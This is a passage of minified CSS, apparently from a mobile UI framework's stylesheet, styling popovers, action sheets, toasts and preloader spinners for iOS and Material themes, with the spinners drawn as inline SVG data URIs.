.popover-angle.on-bottom:after{left:0;top:-19px}.ios .popover-from-actions .list+.list{margin-top:20px}.ios .popover-from-actions .list ul{background:#fff}.ios .popover-from-actions .item-link i.icon{width:29px;height:29px;font-size:29px}.ios .popover-from-actions-label{padding:8px 10px;color:#8a8a8a;font-size:13px;text-align:center}.ios .popover-from-actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .popover,.popover.ios .theme-dark{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .popover-angle:after,.popover.ios .theme-dark .popover-angle:after{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .list ul,.popover.ios .theme-dark .list ul{background-color:transparent}.md .popover{background:#fff;border-radius:4px;-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);-webkit-transform:scale(.85,.6);transform:scale(.85,.6);-webkit-transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,transform,border-radius;transition-property:opacity,transform,border-radius,-webkit-transform}.md .popover.modal-in{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.md .popover.modal-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.md .popover .list:first-child ul{border-radius:3px 3px 0 0}.md .popover .list:first-child li:first-child,.md .popover .list:first-child li:first-child a,.md .popover .list:first-child li:first-child>label{border-radius:3px 3px 0 0}.md .popover .list:last-child ul{border-radius:0 0 3px 3px}.md .popover .list:last-child li:last-child,.md .popover .list:last-child li:last-child a,.md .popover .list:last-child li:last-child>label{border-radius:0 0 3px 3px}.md .popover .list:first-child:last-child li:first-child:last-child,.md .popover .list:first-child:last-child li:first-child:last-child a,.md .popover .list:first-child:last-child li:first-child:last-child>label,.md .popover .list:first-child:last-child ul{border-radius:13px}.md .popover .list+.list{margin-top:35px}.md .popover-on-top{-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .popover-on-bottom{-webkit-transform-origin:center top;transform-origin:center top}.md .popover-from-actions .list{margin:0}.md .popover-from-actions .item-link i.icon{width:24px;height:24px;font-size:24px}.md .popover-from-actions-label{padding:8px 16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px}.md .popover-from-actions-label:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .popover{background-color:#202020}.md .theme-dark .popover-from-actions-label{color:rgba(255,255,255,.54)}.md .theme-dark .popover-from-actions-label:after{background-color:rgba(255,255,255,.08)}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.ios .actions-group{margin:8px;border-radius:13px;overflow:hidden;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .actions-button,.ios .actions-label{text-align:center;overflow:hidden;background:rgba(255,255,255,.95)}.ios .actions-button b,.ios .actions-button.actions-button-bold,.ios .actions-label b,.ios .actions-label.actions-button-bold{font-weight:600}.ios .actions-button:first-child,.ios .actions-label:first-child{border-radius:13px 13px 0 0}.ios .actions-button:last-child,.ios .actions-label:last-child{border-radius:0 0 13px 13px}.ios .actions-button:last-child:after,.ios .actions-label:last-child:after{display:none!important}.ios .actions-button:first-child:last-child,.ios .actions-label:first-child:last-child{border-radius:13px}.ios .actions-button{height:57px;line-height:57px;font-size:20px;color:#007aff;white-space:normal;text-overflow:ellipsis;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-button-media{margin-left:15px}.ios .actions-button-media i.icon{width:29px;height:29px;font-size:29px}.ios .actions-button-media+.actions-button-text{text-align:left;margin-left:15px}.ios .actions-label{font-size:13px;min-height:57px;padding:8px 10px;color:#8a8a8a;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}@media (orientation:lanscape){.ios .actions-label{min-height:44px}.ios .actions-button{height:44px;line-height:44px}}.ios .actions-grid .actions-group{margin-top:0;border-radius:0;background:rgba(255,255,255,.95)}.ios .actions-grid .actions-group:first-child{border-radius:13px 13px 0 0}.ios .actions-grid .actions-group:last-child{border-radius:0 0 13px 13px}.ios .actions-grid .actions-group:first-child:last-child{border-radius:13px}.ios .actions-grid .actions-group:not(:last-child){margin-bottom:0}.ios .actions-grid .actions-button,.ios .actions-grid .actions-label{border-radius:0!important;background:0 0}.ios .actions-grid .actions-button-media{width:48px;height:48px;margin-left:auto;margin-right:auto}.ios .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.ios .actions-grid .actions-button-media+.actions-button-text{text-align:center}.ios .actions-grid .actions-button{padding:16px;line-height:1;height:auto}.ios .actions-grid .actions-button:after{display:none!important}.ios .actions-grid .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.ios .actions-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-button.color-red,.ios .actions-label.color-red{color:#ff3b30}.ios .actions-button.color-green,.ios .actions-label.color-green{color:#4cd964}.ios .actions-button.color-blue,.ios .actions-label.color-blue{color:#007aff}.ios .actions-button.color-pink,.ios .actions-label.color-pink{color:#ff2d55}.ios .actions-button.color-yellow,.ios .actions-label.color-yellow{color:#fc0}.ios .actions-button.color-orange,.ios .actions-label.color-orange{color:#ff9500}.ios .actions-button.color-gray,.ios .actions-label.color-gray{color:#8e8e93}.ios .actions-button.color-white,.ios .actions-label.color-white{color:#fff}.ios .actions-button.color-black,.ios .actions-label.color-black{color:#000}.ios.device-iphone-x .actions-modal.modal-in{-webkit-transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);-webkit-transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0)}.md .actions-modal{background:#fff}.md .actions-group:last-child:after{display:none!important}.md .actions-group:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .actions-group:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .actions-group:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .actions-button,.md .actions-label{padding:0 16px}.md .actions-button{line-height:48px;font-size:16px;color:rgba(0,0,0,.87);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.md .actions-button,.md .actions-button a{position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.md .actions-button a.active-state,.md .actions-button.active-state{background:rgba(0,0,0,.1)}.md .actions-button-media{min-width:40px}.md .actions-button-media i.icon{width:24px;height:24px;font-size:24px}.md .actions-button-media+.actions-button-text{margin-left:16px}.md .actions-label{font-size:16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .actions-grid{padding:0}.md .actions-grid .actions-button-media{width:48px;height:48px}.md .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.md .actions-grid .actions-button{padding:16px;line-height:1}.md .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.md .actions-button.color-red,.md .actions-button.color-red .actions-button-text,.md .actions-label.color-red{color:#f44336}.md .actions-button.color-green,.md .actions-button.color-green .actions-button-text,.md .actions-label.color-green{color:#4caf50}.md .actions-button.color-blue,.md .actions-button.color-blue .actions-button-text,.md .actions-label.color-blue{color:#2196f3}.md .actions-button.color-pink,.md .actions-button.color-pink .actions-button-text,.md .actions-label.color-pink{color:#e91e63}.md .actions-button.color-yellow,.md .actions-button.color-yellow .actions-button-text,.md .actions-label.color-yellow{color:#ffeb3b}.md .actions-button.color-orange,.md .actions-button.color-orange .actions-button-text,.md .actions-label.color-orange{color:#ff9800}.md .actions-button.color-gray,.md .actions-button.color-gray .actions-button-text,.md .actions-label.color-gray{color:#9e9e9e}.md .actions-button.color-white,.md .actions-button.color-white .actions-button-text,.md .actions-label.color-white{color:#fff}.md .actions-button.color-black,.md .actions-button.color-black .actions-button-text,.md .actions-label.color-black{color:#000}.md.device-iphone-x .actions-modal.modal-in{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.ios .sheet-modal{background:#cfd5da}.ios .sheet-modal .toolbar{background:#f7f7f8}.ios .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 44px)}.ios .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:0}.ios .sheet-modal .toolbar:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.ios.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .theme-dark .sheet-modal,.sheet-modal.ios .theme-dark{background-color:#171717}.ios .theme-dark .sheet-modal .toolbar,.sheet-modal.ios .theme-dark .toolbar{background-color:#1b1b1b}.ios .theme-dark .sheet-modal .toolbar:before,.sheet-modal.ios .theme-dark .toolbar:before{background-color:#282829}.md .sheet-modal{background:#fff}.md .sheet-modal .toolbar{top:0}.md .sheet-modal .toolbar:after{display:none}.md .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 48px)}.md .sheet-modal .toolbar a.link:not(.tab-link){-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.sheet-modal-inner .page-content{padding-top:0}.md.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.md.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .theme-dark .sheet-modal{background-color:#202020}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.ios .toast{-webkit-transition-duration:450ms;transition-duration:450ms;background:rgba(0,0,0,.75);opacity:0;width:100%;left:0}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .toast{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.ios .toast.toast-center{width:auto;left:50%;border-radius:8px;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.ios .toast.toast-center.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);opacity:1}.ios .toast.toast-top{top:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .toast.toast-top.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .toast.toast-bottom{bottom:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .toast.toast-bottom.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}@media (min-width:569px){.ios .toast{left:50%;margin-left:-284px}.ios .toast.toast-center{margin-left:0}}@media (min-width:569px){.ios .toast{border-radius:8px}.ios .toast.toast-bottom{bottom:15px}.ios .toast.toast-top{top:15px}}@media (min-width:1024px){.ios .toast{margin-left:0;width:auto}.ios .toast.toast-bottom,.ios .toast.toast-top{left:15px}}.ios .toast-content{padding:12px 15px}.ios .toast-button{color:#fff;margin-right:15px}@media (max-width:568px){.ios.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(12px + constant(safe-area-inset-bottom));padding-bottom:calc(12px + env(safe-area-inset-bottom))}}@media (min-width:569px){.ios.device-iphone-x .toast-bottom{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}}.md .toast{-webkit-transition-duration:.2s;transition-duration:.2s;border-radius:4px;background:#323232;opacity:0;left:8px;width:calc(100% - 16px);-webkit-transform:scale(.9);transform:scale(.9)}.md .toast.modal-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.md .toast.modal-out{-webkit-transform:scale(1);transform:scale(1);opacity:0}.md .toast.toast-center{left:50%;width:auto;background:rgba(0,0,0,.75);-webkit-transform:scale(.9) translate3d(-55%,-55%,0);transform:scale(.9) translate3d(-55%,-55%,0)}.md .toast.toast-center.modal-in{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-center.modal-out{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-bottom{bottom:8px}.md .toast.toast-top{top:8px}@media (min-width:584px){.md .toast{left:50%;margin-left:-284px}.md .toast.toast-center{margin-left:0}}@media (min-width:1024px){.md .toast{margin-left:0;width:auto}.md .toast.toast-bottom,.md .toast.toast-top{left:24px}.md .toast.toast-bottom{bottom:24px}.md .toast.toast-top{top:24px}}.md .toast-content{padding:14px 24px}.md .toast-button{margin-top:-8px;margin-bottom:-8px;margin-right:16px;margin-left:-8px}@media (max-width:568px){.md.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(14px + constant(safe-area-inset-bottom));padding-bottom:calc(14px + env(safe-area-inset-bottom))}}@media (min-width:1024px){.md.device-iphone-x .toast-bottom.modal-in{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .preloader{width:20px;height:20px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E");background-position:50%;background-size:100%;background-repeat:no-repeat;-webkit-animation:ios-preloader-spin 1s steps(12,end) infinite;animation:ios-preloader-spin 1s steps(12,end) infinite}.ios .preloader-modal{border-radius:5px}.ios .preloader-modal .preloader{width:34px;height:34px}.ios .preloader.color-red,.ios .preloader.preloader-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-green,.ios .preloader.preloader-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-blue,.ios .preloader.preloader-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3C